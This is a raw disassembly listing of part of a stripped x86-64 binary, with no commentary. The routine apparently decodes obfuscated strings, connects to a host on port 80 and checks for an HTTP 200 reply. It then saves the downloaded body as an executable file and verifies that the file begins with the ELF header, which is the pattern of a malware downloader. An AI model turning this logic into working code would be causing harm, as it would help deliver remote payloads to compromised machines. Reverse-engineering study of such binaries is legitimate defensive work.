LAB_0040bc01:
0040bc01	be 20 00 00 00	MOV ESI,0x20
0040bc06	48 89 ef	MOV RDI,RBP
0040bc09	e8 42 11 01 00	CALL FUN_0041cd50
0040bc0e	48 85 c0	TEST RAX,RAX
0040bc11	74 03	JZ LAB_0040bc16
0040bc13	c6 00 00	MOV byte ptr [RAX],0x0
LAB_0040bc16:
0040bc16	80 bc 24 8c 00 00 00 00	CMP byte ptr [RSP + 0x8c],0x0
0040bc1e	0f 84 fc fe ff ff	JZ LAB_0040bb20
0040bc24	48 8d 35 79 b2 01 00	LEA RSI,[DAT_00426ea4]
0040bc2b	4c 89 f7	MOV RDI,R14
0040bc2e	e8 2d 12 01 00	CALL FUN_0041ce60
0040bc33	85 c0	TEST EAX,EAX
0040bc35	0f 84 e5 fe ff ff	JZ LAB_0040bb20
0040bc3b	48 8d 35 5e b2 01 00	LEA RSI,[DAT_00426ea0]
0040bc42	4c 89 f7	MOV RDI,R14
0040bc45	e8 16 12 01 00	CALL FUN_0041ce60
0040bc4a	85 c0	TEST EAX,EAX
0040bc4c	0f 84 ce fe ff ff	JZ LAB_0040bb20
0040bc52	4c 8d 3d 07 b2 01 00	LEA R15,[DAT_00426e60]
0040bc59	49 8d 5f 40	LEA RBX,[R15 + 0x40]
LAB_0040bc5d:
0040bc5d	41 8b 3f	MOV EDI,dword ptr [R15]
0040bc60	4c 89 f6	MOV RSI,R14
0040bc63	e8 a6 f5 ff ff	CALL FUN_0040b20e
0040bc68	85 c0	TEST EAX,EAX
0040bc6a	0f 85 b0 fe ff ff	JNZ LAB_0040bb20
0040bc70	49 83 c7 04	ADD R15,0x4
0040bc74	4c 39 fb	CMP RBX,R15
0040bc77	75 e4	JNZ LAB_0040bc5d
0040bc79	e9 d9 05 00 00	JMP LAB_0040c257
LAB_0040bc7e:
0040bc7e	4c 89 ef	MOV RDI,R13
0040bc81	e8 80 06 01 00	CALL FUN_0041c306
LAB_0040bc86:
0040bc86	4c 8d bc 24 cc 32 00 00	LEA R15,[RSP + 0x32cc]
0040bc8e	45 31 c0	XOR R8D,R8D
0040bc91	4c 89 fa	MOV RDX,R15
LAB_0040bc94:
0040bc94	44 8b 8c 24 cc 33 04 00	MOV R9D,dword ptr [RSP + local_3c]
0040bc9c	41 8d 41 ff	LEA EAX,[R9 + -0x1]
0040bca0	41 39 c0	CMP R8D,EAX
0040bca3	7d 62	JGE LAB_0040bd07
0040bca5	41 ff c0	INC R8D
0040bca8	48 89 d0	MOV RAX,RDX
0040bcab	45 89 c2	MOV R10D,R8D
LAB_0040bcae:
0040bcae	45 39 ca	CMP R10D,R9D
0040bcb1	74 4b	JZ LAB_0040bcfe
0040bcb3	8b 9a 00 10 00 00	MOV EBX,dword ptr [RDX + 0x1000]
0040bcb9	39 98 04 20 00 00	CMP dword ptr [RAX + 0x2004],EBX
0040bcbf	48 8d 80 04 10 00 00	LEA RAX,[RAX + 0x1004]
0040bcc6	7e 31	JLE LAB_0040bcf9
0040bcc8	48 8d bc 24 cc 12 00 00	LEA RDI,[RSP + 0x12cc]
0040bcd0	b9 01 04 00 00	MOV ECX,0x401
0040bcd5	48 89 d6	MOV RSI,RDX
0040bcd8	f3 a5	MOVSD.REP RDI,RSI
0040bcda	b9 01 04 00 00	MOV ECX,0x401
0040bcdf	48 89 d7	MOV RDI,RDX
0040bce2	48 89 c6	MOV RSI,RAX
0040bce5	f3 a5	MOVSD.REP RDI,RSI
0040bce7	48 8d b4 24 cc 12 00 00	LEA RSI,[RSP + 0x12cc]
0040bcef	b9 01 04 00 00	MOV ECX,0x401
0040bcf4	48 89 c7	MOV RDI,RAX
0040bcf7	f3 a5	MOVSD.REP RDI,RSI
LAB_0040bcf9:
0040bcf9	41 ff c2	INC R10D
0040bcfc	eb b0	JMP LAB_0040bcae
LAB_0040bcfe:
0040bcfe	48 81 c2 04 10 00 00	ADD RDX,0x1004
0040bd05	eb 8d	JMP LAB_0040bc94
LAB_0040bd07:
0040bd07	45 85 c9	TEST R9D,R9D
0040bd0a	0f 84 bd fb ff ff	JZ LAB_0040b8cd
0040bd10	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + 0x24],0x0
LAB_0040bd18:
0040bd18	8b 44 24 24	MOV EAX,dword ptr [RSP + 0x24]
0040bd1c	3b 84 24 cc 33 04 00	CMP EAX,dword ptr [RSP + local_3c]
0040bd23	0f 8d a4 fb ff ff	JGE LAB_0040b8cd
0040bd29	41 80 3f 00	CMP byte ptr [R15],0x0
0040bd2d	0f 84 14 05 00 00	JZ LAB_0040c247
0040bd33	4c 89 ff	MOV RDI,R15
0040bd36	e8 c5 11 01 00	CALL FUN_0041cf00
0040bd3b	bf 6c 01 00 00	MOV EDI,0x16c
0040bd40	48 89 c3	MOV RBX,RAX
0040bd43	e8 90 f4 ff ff	CALL FUN_0040b1d8
0040bd48	49 89 c4	MOV R12,RAX
0040bd4b	48 85 c0	TEST RAX,RAX
0040bd4e	0f 84 f3 04 00 00	JZ LAB_0040c247
0040bd54	48 89 c7	MOV RDI,RAX
0040bd57	e8 a4 11 01 00	CALL FUN_0041cf00
0040bd5c	48 8d 44 03 01	LEA RAX,[RBX + RAX*0x1 + 0x1]
0040bd61	48 3d ff 0f 00 00	CMP RAX,0xfff
0040bd67	0f 87 da 04 00 00	JA LAB_0040c247
0040bd6d	be 02 00 00 00	MOV ESI,0x2
0040bd72	4c 89 ff	MOV RDI,R15
0040bd75	e8 a0 1d 01 00	CALL FUN_0041db1a
0040bd7a	85 c0	TEST EAX,EAX
0040bd7c	0f 85 c5 04 00 00	JNZ LAB_0040c247
0040bd82	48 8d ac 24 cc 12 00 00	LEA RBP,[RSP + 0x12cc]
0040bd8a	4c 89 e2	MOV RDX,R12
0040bd8d	4c 89 fe	MOV RSI,R15
0040bd90	48 89 ef	MOV RDI,RBP
0040bd93	e8 75 fa ff ff	CALL FUN_0040b80d
0040bd98	85 c0	TEST EAX,EAX
0040bd9a	0f 85 a7 04 00 00	JNZ LAB_0040c247
0040bda0	48 89 ef	MOV RDI,RBP
0040bda3	ba 80 01 00 00	MOV EDX,0x180
0040bda8	be c1 02 00 00	MOV ESI,0x2c1
0040bdad	e8 13 c0 00 00	CALL FUN_00417dc5
0040bdb2	89 c7	MOV EDI,EAX
0040bdb4	85 c0	TEST EAX,EAX
0040bdb6	0f 88 8b 04 00 00	JS LAB_0040c247
0040bdbc	e8 80 1d 01 00	CALL FUN_0041db41
0040bdc1	48 89 ef	MOV RDI,RBP
0040bdc4	e8 ca 1f 01 00	CALL FUN_0041dd93
0040bdc9	48 8b 54 24 30	MOV RDX,qword ptr [RSP + 0x30]
0040bdce	48 8b 3c 24	MOV RDI,qword ptr [RSP]
0040bdd2	4c 89 fe	MOV RSI,R15
0040bdd5	e8 33 fa ff ff	CALL FUN_0040b80d
0040bdda	85 c0	TEST EAX,EAX
0040bddc	0f 85 65 04 00 00	JNZ LAB_0040c247
0040bde2	48 8b 7c 24 28	MOV RDI,qword ptr [RSP + 0x28]
0040bde7	e8 b5 85 00 00	CALL FUN_004143a1
0040bdec	49 89 c4	MOV R12,RAX
0040bdef	48 85 c0	TEST RAX,RAX
0040bdf2	0f 84 46 04 00 00	JZ LAB_0040c23e
0040bdf8	80 38 00	CMP byte ptr [RAX],0x0
0040bdfb	74 64	JZ LAB_0040be61
0040bdfd	31 d2	XOR EDX,EDX
0040bdff	be 01 00 00 00	MOV ESI,0x1
0040be04	bf 02 00 00 00	MOV EDI,0x2
0040be09	e8 f5 fd 00 00	CALL FUN_0041bc03
0040be0e	89 c5	MOV EBP,EAX
0040be10	85 c0	TEST EAX,EAX
0040be12	78 4d	JS LAB_0040be61
0040be14	66 c7 84 24 8c 00 00 00 …	MOV word ptr [RSP + 0x8c],0x2
0040be1e	bf 50 00 00 00	MOV EDI,0x50
0040be23	e8 e5 dc 00 00	CALL FUN_00419b0d
0040be28	48 8d b4 24 8c 00 00 00	LEA RSI,[RSP + 0x8c]
0040be30	ba 10 00 00 00	MOV EDX,0x10
0040be35	89 ef	MOV EDI,EBP
0040be37	66 89 84 24 8e 00 00 00	MOV word ptr [RSP + 0x8e],AX
0040be3f	49 8b 44 24 08	MOV RAX,qword ptr [R12 + 0x8]
0040be44	8b 00	MOV EAX,dword ptr [RAX]
0040be46	89 84 24 90 00 00 00	MOV dword ptr [RSP + 0x90],EAX
0040be4d	e8 37 d8 00 00	CALL FUN_00419689
0040be52	89 44 24 20	MOV dword ptr [RSP + 0x20],EAX
0040be56	85 c0	TEST EAX,EAX
0040be58	74 14	JZ LAB_0040be6e
0040be5a	89 ef	MOV EDI,EBP
0040be5c	e8 e0 1c 01 00	CALL FUN_0041db41
LAB_0040be61:
0040be61	4c 89 e7	MOV RDI,R12
0040be64	e8 09 83 00 00	CALL FUN_00414172
0040be69	e9 d0 03 00 00	JMP LAB_0040c23e
LAB_0040be6e:
0040be6e	4c 89 e7	MOV RDI,R12
0040be71	4c 8d a4 24 cc 00 00 00	LEA R12,[RSP + 0xcc]
0040be79	e8 f4 82 00 00	CALL FUN_00414172
0040be7e	4c 8d 44 24 4c	LEA R8,[RSP + 0x4c]
0040be83	31 d2	XOR EDX,EDX
0040be85	4c 89 e7	MOV RDI,R12
0040be88	b9 c3 01 00 00	MOV ECX,0x1c3
0040be8d	be 00 02 00 00	MOV ESI,0x200
0040be92	31 c0	XOR EAX,EAX
0040be94	e8 14 f5 ff ff	CALL FUN_0040b3ad
0040be99	4c 8b 44 24 28	MOV R8,qword ptr [RSP + 0x28]
0040be9e	b9 ba 01 00 00	MOV ECX,0x1ba
0040bea3	4c 89 e7	MOV RDI,R12
0040bea6	89 c2	MOV EDX,EAX
0040bea8	be 00 02 00 00	MOV ESI,0x200
0040bead	31 c0	XOR EAX,EAX
0040beaf	e8 f9 f4 ff ff	CALL FUN_0040b3ad
0040beb4	b9 cc 01 00 00	MOV ECX,0x1cc
0040beb9	be 00 02 00 00	MOV ESI,0x200
0040bebe	4c 89 e7	MOV RDI,R12
0040bec1	89 c2	MOV EDX,EAX
0040bec3	31 c0	XOR EAX,EAX
0040bec5	e8 e3 f4 ff ff	CALL FUN_0040b3ad
0040beca	b9 ce 01 00 00	MOV ECX,0x1ce
0040becf	be 00 02 00 00	MOV ESI,0x200
0040bed4	4c 89 e7	MOV RDI,R12
0040bed7	89 c2	MOV EDX,EAX
0040bed9	31 c0	XOR EAX,EAX
0040bedb	e8 cd f4 ff ff	CALL FUN_0040b3ad
0040bee0	8d 50 ff	LEA EDX,[RAX + -0x1]
0040bee3	81 fa fe 01 00 00	CMP EDX,0x1fe
0040bee9	77 36	JA LAB_0040bf21
0040beeb	48 63 d8	MOVSXD RBX,EAX
0040beee	b9 00 40 00 00	MOV ECX,0x4000
0040bef3	4c 89 e6	MOV RSI,R12
0040bef6	89 ef	MOV EDI,EBP
0040bef8	48 89 da	MOV RDX,RBX
0040befb	e8 a3 fc 00 00	CALL FUN_0041bba3
0040bf00	48 39 d8	CMP RAX,RBX
0040bf03	75 1c	JNZ LAB_0040bf21
0040bf05	48 8b 3c 24	MOV RDI,qword ptr [RSP]
0040bf09	ba c0 01 00 00	MOV EDX,0x1c0
0040bf0e	be 41 02 00 00	MOV ESI,0x241
0040bf13	31 c0	XOR EAX,EAX
0040bf15	e8 ab be 00 00	CALL FUN_00417dc5
0040bf1a	41 89 c4	MOV R12D,EAX
0040bf1d	85 c0	TEST EAX,EAX
0040bf1f	79 0c	JNS LAB_0040bf2d
LAB_0040bf21:
0040bf21	89 ef	MOV EDI,EBP
0040bf23	e8 19 1c 01 00	CALL FUN_0041db41
0040bf28	e9 11 03 00 00	JMP LAB_0040c23e
LAB_0040bf2d:
0040bf2d	c7 44 24 14 00 00 00 00	MOV dword ptr [RSP + 0x14],0x0
0040bf35	45 31 f6	XOR R14D,R14D
0040bf38	45 31 c0	XOR R8D,R8D
0040bf3b	83 cb ff	OR EBX,0xffffffff
0040bf3e	48 c7 44 24 18 00 00 00 …	MOV qword ptr [RSP + 0x18],0x0
LAB_0040bf47:
0040bf47	31 c9	XOR ECX,ECX
0040bf49	ba 00 10 00 00	MOV EDX,0x1000
0040bf4e	89 ef	MOV EDI,EBP
0040bf50	4c 89 44 24 38	MOV qword ptr [RSP + 0x38],R8
0040bf55	48 8d b4 24 cc 02 00 00	LEA RSI,[RSP + 0x2cc]
0040bf5d	48 89 74 24 08	MOV qword ptr [RSP + 0x8],RSI
0040bf62	e8 85 f1 00 00	CALL FUN_0041b0ec
0040bf67	48 8b 74 24 08	MOV RSI,qword ptr [RSP + 0x8]
0040bf6c	4c 8b 44 24 38	MOV R8,qword ptr [RSP + 0x38]
0040bf71	85 c0	TEST EAX,EAX
0040bf73	48 89 c1	MOV RCX,RAX
0040bf76	0f 8e 47 02 00 00	JLE LAB_0040c1c3
0040bf7c	45 85 f6	TEST R14D,R14D
0040bf7f	4c 63 e9	MOVSXD R13,ECX
0040bf82	0f 85 d9 01 00 00	JNZ LAB_0040c161
0040bf88	4b 8d 44 05 00	LEA RAX,[R13 + R8*0x1]
0040bf8d	48 89 44 24 08	MOV qword ptr [RSP + 0x8],RAX
0040bf92	48 3d ff 1f 00 00	CMP RAX,0x1fff
0040bf98	0f 87 25 02 00 00	JA LAB_0040c1c3
0040bf9e	4c 8d 8c 24 cc 12 00 00	LEA R9,[RSP + 0x12cc]
0040bfa6	44 89 e9	MOV ECX,R13D
0040bfa9	4d 01 c8	ADD R8,R9
0040bfac	4c 89 c7	MOV RDI,R8
0040bfaf	f3 a4	MOVSB.REP RDI,RSI
0040bfb1	bf ce 01 00 00	MOV EDI,0x1ce
0040bfb6	c6 84 04 cc 12 00 00 00	MOV byte ptr [RSP + RAX*0x1 + 0x12cc],0x0
0040bfbe	e8 15 f2 ff ff	CALL FUN_0040b1d8
0040bfc3	48 89 c6	MOV RSI,RAX
0040bfc6	48 85 c0	TEST RAX,RAX
0040bfc9	0f 84 ea 01 00 00	JZ LAB_0040c1b9
0040bfcf	4c 89 cf	MOV RDI,R9
0040bfd2	e8 69 15 01 00	CALL FUN_0041d540
0040bfd7	49 89 c5	MOV R13,RAX
0040bfda	48 85 c0	TEST RAX,RAX
0040bfdd	0f 84 d6 01 00 00	JZ LAB_0040c1b9
0040bfe3	c6 00 00	MOV byte ptr [RAX],0x0
0040bfe6	bf ce 01 00 00	MOV EDI,0x1ce
0040bfeb	e8 e8 f1 ff ff	CALL FUN_0040b1d8
0040bff0	ba 04 00 00 00	MOV EDX,0x4
0040bff5	48 89 c7	MOV RDI,RAX
0040bff8	48 85 c0	TEST RAX,RAX
0040bffb	74 08	JZ LAB_0040c005
0040bffd	e8 fe 0e 01 00	CALL FUN_0041cf00
0040c002	48 63 d0	MOVSXD RDX,EAX
LAB_0040c005:
0040c005	48 8b 1d e4 26 22 00	MOV RBX,qword ptr [DAT_0062e6f0]
0040c00c	49 01 d5	ADD R13,RDX
0040c00f	4c 8d b4 24 cc 12 00 00	LEA R14,[RSP + 0x12cc]
LAB_0040c017:
0040c017	41 80 3e 00	CMP byte ptr [R14],0x0
0040c01b	0f 84 b4 00 00 00	JZ LAB_0040c0d5
0040c021	48 8d 35 24 ae 01 00	LEA RSI,[DAT_00426e4c]
0040c028	4c 89 f7	MOV RDI,R14
0040c02b	e8 10 15 01 00	CALL FUN_0041d540
0040c030	48 89 c1	MOV RCX,RAX
0040c033	48 85 c0	TEST RAX,RAX
0040c036	0f 84 99 00 00 00	JZ LAB_0040c0d5
0040c03c	48 89 c6	MOV RSI,RAX
0040c03f	4c 29 f6	SUB RSI,R14
0040c042	48 83 fe 0e	CMP RSI,0xe
0040c046	76 75	JBE LAB_0040c0bd
0040c048	bf bd 01 00 00	MOV EDI,0x1bd
0040c04d	e8 86 f1 ff ff	CALL FUN_0040b1d8
0040c052	49 89 c0	MOV R8,RAX
0040c055	48 85 c0	TEST RAX,RAX
0040c058	74 63	JZ LAB_0040c0bd
0040c05a	48 85 db	TEST RBX,RBX
0040c05d	74 5e	JZ LAB_0040c0bd
0040c05f	48 63 93 d8 1b 00 00	MOVSXD RDX,dword ptr [RBX + 0x1bd8]
0040c066	85 d2	TEST EDX,EDX
0040c068	7e 53	JLE LAB_0040c0bd
0040c06a	48 39 d6	CMP RSI,RDX
0040c06d	72 4e	JC LAB_0040c0bd
0040c06f	31 c0	XOR EAX,EAX
LAB_0040c071:
0040c071	41 0f b6 3c 06	MOVZX EDI,byte ptr [R14 + RAX*0x1]
0040c076	41 0f b6 34 00	MOVZX ESI,byte ptr [R8 + RAX*0x1]
0040c07b	44 8d 4f bf	LEA R9D,[RDI + -0x41]
0040c07f	41 83 f9 19	CMP R9D,0x19
0040c083	77 03	JA LAB_0040c088
0040c085	83 c7 20	ADD EDI,0x20
LAB_0040c088:
0040c088	44 8d 4e bf	LEA R9D,[RSI + -0x41]
0040c08c	41 83 f9 19	CMP R9D,0x19
0040c090	77 03	JA LAB_0040c095
0040c092	83 c6 20	ADD ESI,0x20
LAB_0040c095:
0040c095	39 f7	CMP EDI,ESI
0040c097	75 24	JNZ LAB_0040c0bd
0040c099	48 ff c0	INC RAX
0040c09c	48 39 c2	CMP RDX,RAX
0040c09f	77 d0	JA LAB_0040c071
0040c0a1	49 8d 7e 0f	LEA RDI,[R14 + 0xf]
LAB_0040c0a5:
0040c0a5	8a 07	MOV AL,byte ptr [RDI]
0040c0a7	3c 20	CMP AL,0x20
0040c0a9	75 05	JNZ LAB_0040c0b0
LAB_0040c0ab:
0040c0ab	48 ff c7	INC RDI
0040c0ae	eb f5	JMP LAB_0040c0a5
LAB_0040c0b0:
0040c0b0	3c 09	CMP AL,0x9
0040c0b2	74 f7	JZ LAB_0040c0ab
0040c0b4	e8 1b 0a 01 00	CALL FUN_0041cad4
0040c0b9	89 c3	MOV EBX,EAX
0040c0bb	eb 1b	JMP LAB_0040c0d8
LAB_0040c0bd:
0040c0bd	80 79 02 0d	CMP byte ptr [RCX + 0x2],0xd
0040c0c1	4c 8d 71 02	LEA R14,[RCX + 0x2]
0040c0c5	0f 85 4c ff ff ff	JNZ LAB_0040c017
0040c0cb	80 79 03 0a	CMP byte ptr [RCX + 0x3],0xa
0040c0cf	0f 85 42 ff ff ff	JNZ LAB_0040c017
LAB_0040c0d5:
0040c0d5	83 cb ff	OR EBX,0xffffffff
LAB_0040c0d8:
0040c0d8	bf cd 01 00 00	MOV EDI,0x1cd
0040c0dd	e8 f6 f0 ff ff	CALL FUN_0040b1d8
0040c0e2	48 89 c6	MOV RSI,RAX
0040c0e5	48 85 c0	TEST RAX,RAX
0040c0e8	0f 84 97 00 00 00	JZ LAB_0040c185
0040c0ee	4c 8d b4 24 cc 12 00 00	LEA R14,[RSP + 0x12cc]
0040c0f6	ba 07 00 00 00	MOV EDX,0x7
0040c0fb	4c 89 f7	MOV RDI,R14
0040c0fe	e8 cd 0e 01 00	CALL FUN_0041cfd0
0040c103	85 c0	TEST EAX,EAX
0040c105	75 7e	JNZ LAB_0040c185
0040c107	80 bc 24 d5 12 00 00 32	CMP byte ptr [RSP + 0x12d5],0x32
0040c10f	75 74	JNZ LAB_0040c185
0040c111	80 bc 24 d6 12 00 00 30	CMP byte ptr [RSP + 0x12d6],0x30
0040c119	75 6a	JNZ LAB_0040c185
0040c11b	80 bc 24 d7 12 00 00 30	CMP byte ptr [RSP + 0x12d7],0x30
0040c123	75 60	JNZ LAB_0040c185
0040c125	4c 89 e8	MOV RAX,R13
0040c128	4c 29 f0	SUB RAX,R14
0040c12b	44 8b 74 24 08	MOV R14D,dword ptr [RSP + 0x8]
0040c130	41 29 c6	SUB R14D,EAX
0040c133	45 85 f6	TEST R14D,R14D
0040c136	7e 7b	JLE LAB_0040c1b3
0040c138	49 63 d6	MOVSXD RDX,R14D
0040c13b	4c 89 ee	MOV RSI,R13
0040c13e	44 89 e7	MOV EDI,R12D
0040c141	48 89 54 24 38	MOV qword ptr [RSP + 0x38],RDX
0040c146	e8 8a 1c 01 00	CALL FUN_0041ddd5
0040c14b	48 8b 54 24 38	MOV RDX,qword ptr [RSP + 0x38]
0040c150	48 39 d0	CMP RAX,RDX
0040c153	75 30	JNZ LAB_0040c185
0040c155	44 01 74 24 14	ADD dword ptr [RSP + 0x14],R14D
0040c15a	48 01 44 24 18	ADD qword ptr [RSP + 0x18],RAX
0040c15f	eb 52	JMP LAB_0040c1b3
LAB_0040c161:
0040c161	4c 89 ea	MOV RDX,R13
0040c164	44 89 e7	MOV EDI,R12D
0040c167	48 89 4c 24 38	MOV qword ptr [RSP + 0x38],RCX
0040c16c	4c 89 44 24 08	MOV qword ptr [RSP + 0x8],R8
0040c171	e8 5f 1c 01 00	CALL FUN_0041ddd5
0040c176	4c 8b 44 24 08	MOV R8,qword ptr [RSP + 0x8]
0040c17b	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + 0x38]
0040c180	4c 39 e8	CMP RAX,R13
0040c183	74 14	JZ LAB_0040c199
LAB_0040c185:
0040c185	44 89 e7	MOV EDI,R12D
0040c188	e8 b4 19 01 00	CALL FUN_0041db41
0040c18d	89 ef	MOV EDI,EBP
0040c18f	e8 ad 19 01 00	CALL FUN_0041db41
0040c194	e9 9c 00 00 00	JMP LAB_0040c235
LAB_0040c199:
0040c199	01 4c 24 14	ADD dword ptr [RSP + 0x14],ECX
0040c19d	48 01 44 24 18	ADD qword ptr [RSP + 0x18],RAX
0040c1a2	85 db	TEST EBX,EBX
0040c1a4	7e 06	JLE LAB_0040c1ac
0040c1a6	39 5c 24 14	CMP dword ptr [RSP + 0x14],EBX
0040c1aa	7d 17	JGE LAB_0040c1c3
LAB_0040c1ac:
0040c1ac	4c 89 44 24 08	MOV qword ptr [RSP + 0x8],R8
0040c1b1	eb 06	JMP LAB_0040c1b9
LAB_0040c1b3:
0040c1b3	41 be 01 00 00 00	MOV R14D,0x1
LAB_0040c1b9:
0040c1b9	4c 8b 44 24 08	MOV R8,qword ptr [RSP + 0x8]
0040c1be	e9 84 fd ff ff	JMP LAB_0040bf47
LAB_0040c1c3:
0040c1c3	44 89 e7	MOV EDI,R12D
0040c1c6	e8 76 19 01 00	CALL FUN_0041db41
0040c1cb	89 ef	MOV EDI,EBP
0040c1cd	e8 6f 19 01 00	CALL FUN_0041db41
0040c1d2	45 85 f6	TEST R14D,R14D
0040c1d5	74 67	JZ LAB_0040c23e
0040c1d7	48 81 7c 24 18 ff 0f 00 …	CMP qword ptr [RSP + 0x18],0xfff
0040c1e0	7e 5c	JLE LAB_0040c23e
0040c1e2	48 8b 3c 24	MOV RDI,qword ptr [RSP]
0040c1e6	31 f6	XOR ESI,ESI
0040c1e8	31 c0	XOR EAX,EAX
0040c1ea	e8 d6 bb 00 00	CALL FUN_00417dc5
0040c1ef	89 c5	MOV EBP,EAX
0040c1f1	85 c0	TEST EAX,EAX
0040c1f3	78 49	JS LAB_0040c23e
0040c1f5	89 c7	MOV EDI,EAX
0040c1f7	48 8d 74 24 48	LEA RSI,[RSP + 0x48]
0040c1fc	ba 04 00 00 00	MOV EDX,0x4
0040c201	e8 d0 1a 01 00	CALL FUN_0041dcd6
0040c206	89 ef	MOV EDI,EBP
0040c208	48 89 c3	MOV RBX,RAX
0040c20b	e8 31 19 01 00	CALL FUN_0041db41
0040c210	83 fb 04	CMP EBX,0x4
0040c213	75 20	JNZ LAB_0040c235
0040c215	80 7c 24 48 7f	CMP byte ptr [RSP + 0x48],0x7f
0040c21a	75 19	JNZ LAB_0040c235
0040c21c	80 7c 24 49 45	CMP byte ptr [RSP + 0x49],0x45
0040c221	75 12	JNZ LAB_0040c235
0040c223	80 7c 24 4a 4c	CMP byte ptr [RSP + 0x4a],0x4c
0040c228	75 0b	JNZ LAB_0040c235
0040c22a	80 7c 24 4b 46	CMP byte ptr [RSP + 0x4b],0x46
0040c22f	0f 84 9e 01 00 00	JZ LAB_0040c3d3
LAB_0040c235:
0040c235	48 8b 3c 24	MOV RDI,qword ptr [RSP]
0040c239	e8 55 1b 01 00	CALL FUN_0041dd93
LAB_0040c23e:
0040c23e	48 8b 3c 24	MOV RDI,qword ptr [RSP]
0040c242	e8 4c 1b 01 00	CALL FUN_0041dd93
LAB_0040c247:
0040c247	ff 44 24 24	INC dword ptr [RSP + 0x24]
0040c24b	49 81 c7 04 10 00 00	ADD R15,0x1004
0040c252	e9 c1 fa ff ff	JMP LAB_0040bd18
LAB_0040c257:
0040c257	80 bc 24 cc 12 00 00 00	CMP byte ptr [RSP + 0x12cc],0x0
0040c25f	0f 84 bb f8 ff ff	JZ LAB_0040bb20
0040c265	4c 89 e6	MOV RSI,R12
0040c268	bf 5e 01 00 00	MOV EDI,0x15e
0040c26d	e8 9c ef ff ff	CALL FUN_0040b20e
0040c272	85 c0	TEST EAX,EAX
0040c274	0f 85 a6 f8 ff ff	JNZ LAB_0040bb20
0040c27a	4c 89 e6	MOV RSI,R12
0040c27d	bf 62 01 00 00	MOV EDI,0x162
0040c282	e8 87 ef ff ff	CALL FUN_0040b20e
0040c287	85 c0	TEST EAX,EAX
0040c289	0f 85 91 f8 ff ff	JNZ LAB_0040bb20
0040c28f	4c 89 e6	MOV RSI,R12
0040c292	bf 63 01 00 00	MOV EDI,0x163
0040c297	e8 72 ef ff ff	CALL FUN_0040b20e
0040c29c	85 c0	TEST EAX,EAX
0040c29e	0f 85 7c f8 ff ff	JNZ LAB_0040bb20
0040c2a4	bf 69 01 00 00	MOV EDI,0x169
0040c2a9	e8 2a ef ff ff	CALL FUN_0040b1d8
0040c2ae	bf 6a 01 00 00	MOV EDI,0x16a
0040c2b3	48 89 c6	MOV RSI,RAX
0040c2b6	e8 1d ef ff ff	CALL FUN_0040b1d8
0040c2bb	bf 6b 01 00 00	MOV EDI,0x16b
0040c2c0	49 89 c7	MOV R15,RAX
0040c2c3	e8 10 ef ff ff	CALL FUN_0040b1d8
0040c2c8	48 89 c3	MOV RBX,RAX
0040c2cb	48 85 f6	TEST RSI,RSI
0040c2ce	74 11	JZ LAB_0040c2e1
0040c2d0	48 89 ef	MOV RDI,RBP
0040c2d3	e8 68 12 01 00	CALL FUN_0041d540
0040c2d8	48 85 c0	TEST RAX,RAX
0040c2db	0f 85 3f f8 ff ff	JNZ LAB_0040bb20
LAB_0040c2e1:
0040c2e1	4d 85 ff	TEST R15,R15
0040c2e4	74 14	JZ LAB_0040c2fa
0040c2e6	4c 89 fe	MOV RSI,R15
0040c2e9	48 89 ef	MOV RDI,RBP
0040c2ec	e8 4f 12 01 00	CALL FUN_0041d540
0040c2f1	48 85 c0	TEST RAX,RAX
0040c2f4	0f 85 26 f8 ff ff	JNZ LAB_0040bb20
LAB_0040c2fa:
0040c2fa	48 85 db	TEST RBX,RBX
0040c2fd	74 3e	JZ LAB_0040c33d
0040c2ff	80 3b 2c	CMP byte ptr [RBX],0x2c
0040c302	75 39	JNZ LAB_0040c33d
0040c304	4c 8d 7b 01	LEA R15,[RBX + 0x1]
0040c308	48 89 ef	MOV RDI,RBP
0040c30b	4c 89 fe	MOV RSI,R15
0040c30e	e8 4d 0b 01 00	CALL FUN_0041ce60
0040c313	85 c0	TEST EAX,EAX
0040c315	0f 84 05 f8 ff ff	JZ LAB_0040bb20
0040c31b	ba 02 00 00 00	MOV EDX,0x2
0040c320	4c 89 fe	MOV RSI,R15
0040c323	48 89 ef	MOV RDI,RBP
0040c326	e8 a5 0c 01 00	CALL FUN_0041cfd0
0040c32b	85 c0	TEST EAX,EAX
0040c32d	75 0e	JNZ LAB_0040c33d
0040c32f	80 bc 24 ce 00 00 00 2c	CMP byte ptr [RSP + 0xce],0x2c
0040c337	0f 84 e3 f7 ff ff	JZ LAB_0040bb20
LAB_0040c33d:
0040c33d	48 8d 35 00 ab 01 00	LEA RSI,[DAT_00426e44]
0040c344	48 89 ef	MOV RDI,RBP
0040c347	e8 f4 11 01 00	CALL FUN_0041d540
0040c34c	48 85 c0	TEST RAX,RAX
0040c34f	75 4a	JNZ LAB_0040c39b
0040c351	4c 8d 3d f0 aa 01 00	LEA R15,[DAT_00426e48]
0040c358	48 89 ef	MOV RDI,RBP
0040c35b	4c 89 fe	MOV RSI,R15
0040c35e	e8 dd 11 01 00	CALL FUN_0041d540
0040c363	48 85 c0	TEST RAX,RAX
0040c366	75 33	JNZ LAB_0040c39b
0040c368	ba 03 00 00 00	MOV EDX,0x3
0040c36d	4c 89 fe	MOV RSI,R15
0040c370	48 89 ef	MOV RDI,RBP
0040c373	e8 58 0c 01 00	CALL FUN_0041cfd0
0040c378	85 c0	TEST EAX,EAX
0040c37a	74 1f	JZ LAB_0040c39b
0040c37c	48 85 db	TEST RBX,RBX
0040c37f	74 1a	JZ LAB_0040c39b
0040c381	80 3b 2c	CMP byte ptr [RBX],0x2c
0040c384	75 15	JNZ LAB_0040c39b
0040c386	48 8d 73 01	LEA RSI,[RBX + 0x1]
0040c38a	48 89 ef	MOV RDI,RBP
0040c38d	e8 ae 11 01 00	CALL FUN_0041d540
0040c392	48 85 c0	TEST RAX,RAX
0040c395	0f 85 85 f7 ff ff	JNZ LAB_0040bb20
LAB_0040c39b:
0040c39b	4c 89 f6	MOV RSI,R14
0040c39e	bf 7d 01 00 00	MOV EDI,0x17d
0040c3a3	e8 66 ee ff ff	CALL FUN_0040b20e
0040c3a8	4c 89 e7	MOV RDI,R12
0040c3ab	83 f8 01	CMP EAX,0x1
0040c3ae	19 db	SBB EBX,EBX
0040c3b0	e8 a0 ee ff ff	CALL FUN_0040b255
0040c3b5	83 e3 ce	AND EBX,0xffffffce
0040c3b8	48 8d bc 24 cc 32 00 00	LEA RDI,[RSP + 0x32cc]
0040c3c0	4c 89 e6	MOV RSI,R12
0040c3c3	83 c3 50	ADD EBX,0x50
